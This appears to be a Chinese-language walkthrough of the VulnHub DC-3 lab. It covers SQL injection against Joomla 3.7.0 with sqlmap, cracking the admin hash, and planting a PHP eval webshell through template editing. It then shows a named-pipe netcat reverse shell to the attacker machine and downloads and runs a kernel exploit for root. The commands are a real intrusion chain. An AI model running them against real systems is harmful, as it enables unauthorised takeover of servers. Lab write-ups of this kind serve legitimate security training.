当前位置: 首页 > news >正文

VulnHub之DC-3靶场完整通关步骤(VulnHub)

DC-3靶场完整通关步骤(VulnHub)

整体流程:主机发现→端口扫描→Joomla漏洞探测→SQL注入拿管理员账号→后台写入WebShell→获取www-data Shell→内核提权Root→读取Flag
环境:Kali攻击机、DC-3靶机,两者统一NAT/桥接网段

一、信息收集

1. 探测靶机IP(3种常用命令)

# 方式1 全网段arp扫描arp-scan-l# 方式2 nmap存活主机扫描nmap-sP192.168.x.0/24-T4# 方式3 快速扫描netdiscover

记录靶机IP,示例:192.168.1.129

2. 全端口+服务版本扫描

DC-3仅开放80端口,无SSH等端口:

nmap-sV-p--A192.168.1.129

扫描结果:Apache2.4、Joomla 3.7.0 CMS、Ubuntu16.04、Linux内核4.4

3. Web框架确认

  • 浏览器访问http://靶机IP,页面提示仅web入口;
  • 后台地址:http://靶机IP/administrator
  • 工具探测版本:
# joomla专用扫描器joomscan-uhttp://192.168.1.129# 指纹识别whatweb http://192.168.1.129

漏洞定位:Joomla3.7.0 CVE-2017-8917 SQL注入漏洞

二、SQL注入爆破管理员账号密码

1. SQLMap脱库拿用户哈希

注入payload固定参数:
index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=
执行sqlmap导出joomla数据库用户表:

sqlmap-u"http://192.168.1.129/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=xxx"\-Djoomla-T'#__users'-Cusername,password--dump

导出结果:
用户名:admin
加密哈希:$2y$10$DpfpYjADpejngxNh9GnmCeyIHCWpL97CVRnGeZsVJwR0kWFlfB1Z

2. John爆破BCrypt哈希

  1. 将哈希写入文本hash.txt
  2. 字典爆破:
john hash.txt--wordlist=/usr/share/wordlists/rockyou.txt

明文密码:snoopy
账号:admin 密码:snoopy

三、Joomla后台写入WebShell,GetShell

1. 登录后台

访问http://靶机IP/administrator,使用admin/snoopy登录后台

2. 模板编辑写入一句话木马

  1. 顶部菜单栏:Extensions → Templates → Templates(站点模板)
  2. 选择模板:Beez3→ 点击New File新建php文件
  3. 写入一句话php木马:
<?php@eval($_POST['cmd']);?>

保存文件名:shell.php
4. 访问路径:http://靶机IP/templates/beez3/shell.php

3. 两种Shell连接方式

方式1:蚁剑/菜刀连接

URL填写上面地址,连接密码cmd,直接可视化管理靶机文件。

方式2:反弹交互式Shell
  1. Kali监听端口:
nc-lvnp4444
  1. 靶机执行反弹命令(靶机nc不支持-e,管道反弹):
rm/tmp/f;mkfifo/tmp/f;cat/tmp/f|/bin/sh-i2>&1|nc192.168.1.x4444>/tmp/f
  1. 升级交互式bash:
python-c'import pty;pty.spawn("/bin/bash")'

当前权限:www-data普通用户,必须提权Root。

四、内核漏洞提权(CVE-2016-4557 39772)

1. 查看系统内核版本

uname-a# 输出:Linux DC-3 4.4.0-21-generic Ubuntu16.04,匹配39772漏洞

2. 下载EXP到靶机

方法1:Kali开启简易http服务,靶机wget下载

Kali端:

# 下载漏洞EXPwgethttps://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/39772.zip# 开启80端口webpython3-mhttp.server80

靶机端(www-data权限):

cd/tmpwgethttp://kaliIP/39772.zip

3. 编译执行EXP提权

# 解压压缩包unzip39772.zipcd39772tar-xvfexploit.tarcdebpf_mapfd_doubleput_exploit# 添加执行权限chmod+x compile.sh doubleput# 编译./compile.sh# 执行提权程序./doubleput

执行完成后,直接获得root最高权限

五、获取最终Flag

# 切换root目录cd/root# 读取flag文件catthe-flag.txt

内容:

Well Done!!! Congratulations are in order. :-) I hope you've enjoyed this challenge as I enjoyed making it. If there are any ways that I can improve these little challenges, please let me know. As per usual, comments and complaints can be sent via Twitter to @DCAU7 Have a great day!!!!

DC-3靶场通关完成。

补充常见排错

  1. 反弹shell失败:确认kali与靶机同网段、防火墙放行端口;
  2. john爆破慢:更换小字典优先爆破snoopy;
  3. 提权报错:必须在/tmp临时目录执行EXP,目录权限充足。
http://www.jsqmd.com/news/1323908/

相关文章:

  • 从零构建智能CLI工具:基于Python实现意图解析与任务自动化
  • 2026精选:营口摘星AI实力推荐——塑见营销如何用GEO破解B2B获客困局 - 装修教育财税推荐2026
  • Unity镜面反射Shader:从Phong到Blinn-Phong光照模型实现与优化
  • 2026 年现阶段,吕梁口碑好的工字钢拉弯实力厂家哪家好,用了十几年的钢梁,一拉就弯?没人敢说的结构真相藏在细节里-重鸿型材拉弯厂 - 鉴选官
  • AI OPC工程师实战指南:从模型部署到生产运维的核心技术栈
  • 2026 年更新:博乐可靠的感统失调训练店怎么联系,别再乱给孩子做感统训练了?这几个坑90%的家长都踩过!-意康和生命成长 - 鉴选官
  • 2026 年新发布:钦州口碑好的超细无机纤维喷涂施工公司哪个好,想让厂房隔温又降噪还省钱?这款工业材料凭什么比传统工艺省一半成本? - 企业官方推荐【认证】
  • Direct3D8到Direct3D9转换架构:经典游戏兼容性的技术实现方案
  • 【工业仿真应用实战】第01篇:ANSYS Fluent 工业仿真实战:CFD 基础与 Fluent 快速入门
  • Windows应急响应流程及工具
  • 人工智能OPC融合技术实战:从AI模型到工业控制的全栈开发指南
  • SpringBoot Maven项目启动失败排查指南
  • 全球无掩模光刻设备现状态势及发展趋势分析报告2026-2032年版
  • 2026 年现阶段栖霞可靠的二手假草坪批发平台哪家可靠,别再花大价钱买新草坪了,这玩意儿批发价居然能省一半还多 - 企业推荐管【认证】
  • 基于情感分析与NER的社区内容智能审核系统实战
  • 2026 年现阶段,沙市销量好的公园球场防护网供应商怎么联系,这种藏在公园球场的设施,竟藏着不少关乎安全的细节,你真的选对了吗? - 实业推荐官
  • 2026 年当下,招远优秀的 拼装零缝隙直销厂家竞争格局,花千元买的家具,它能让每一块拼接处严丝合缝,比专业师傅装的还服帖? - 企业信息推荐-2
  • 南康全屋定制实力工厂怎么选?东方鸿运家具深度解析,榫卯结构新中式家具/全屋定制家具,全屋定制家具实力工厂口碑推荐 - 品牌推荐师
  • Windows CMD与批处理脚本实战:从基础命令到自动化脚本编写
  • Unity与UE引擎Tick/Update优化:并行与异步处理实战指南
  • 计算机毕业设计之大学生公益志愿服务系统的设计与实现
  • 《碧蓝幻想Relink》DLC开荒:从输出到生存的实战转型指南
  • 开源手机智能助手实战:从环境搭建到技能配置全解析
  • 嵌入式Linux信号量:原理、实现与实战优化
  • 2026年市场最好的防火卷帘门厂家排行发布 - 品牌排行榜
  • 从“接单”到“经营”:一人公司最难跨过的三道
  • 2026 年 7 月新发布:成武值得关注的专业的静电地板厂家制造企业哪家可靠,机房装地板踩过坑?这背后藏着能让你省心十年的靠谱选择-亚豪防静电地板 - 企业推荐官-
  • Unity Cinemachine 实战指南:从核心原理到第三人称镜头系统搭建
  • 2026 年乌拉特中旗靠谱的框架护栏网工厂哪家可靠,你家院子里的这玩意儿,居然能帮你省下好几万的安防升级费?-江欧丝网 - 实业推荐官
  • DataBuff发布v0.1.6版本:性能提升、功能完善,多方面优化体验!